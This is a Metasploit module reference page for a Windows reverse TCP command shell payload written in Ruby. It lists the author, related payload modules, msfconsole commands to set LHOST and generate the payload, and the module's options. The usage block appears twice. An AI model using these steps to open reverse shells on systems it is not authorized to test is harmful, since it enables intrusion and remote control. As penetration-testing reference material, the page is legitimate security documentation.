Windows Command Shell, Reverse TCP (via Ruby)
Connect back and create a command shell via Ruby
Rank
- Normal
Authors
- kris katterjohn < katterjohn [at] gmail.com >
Similar Modules
- payload/cmd/windows/adduser
- payload/cmd/windows/bind_perl
- payload/cmd/windows/bind_perl_ipv6
- payload/cmd/windows/bind_ruby
- payload/cmd/windows/download_eval_vbs
- payload/cmd/windows/download_exec_vbs
- payload/cmd/windows/reverse_perl
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/cmd/windows/reverse_ruby
msf payload(reverse_ruby) > set LHOST [MY IP ADDRESS]
msf payload(reverse_ruby) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/cmd/windows/reverse_ruby
msf payload(reverse_ruby) > set LHOST [MY IP ADDRESS]
msf payload(reverse_ruby) > generate
Module Options
| LHOST | The listen address |
| LPORT | The listen port (default: 4444) |
| AutoRunScript | A script to run automatically on session creation. |
| InitialAutoRunScript | An initial script to run on session creation (before AutoRunScript) |
| ReverseConnectRetries | The number of connection attempts to try before exiting the process |
| ReverseListenerBindAddress | The specific IP address to bind to on the local system |
| ReverseListenerComm | The specific communication channel to use for this listener |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
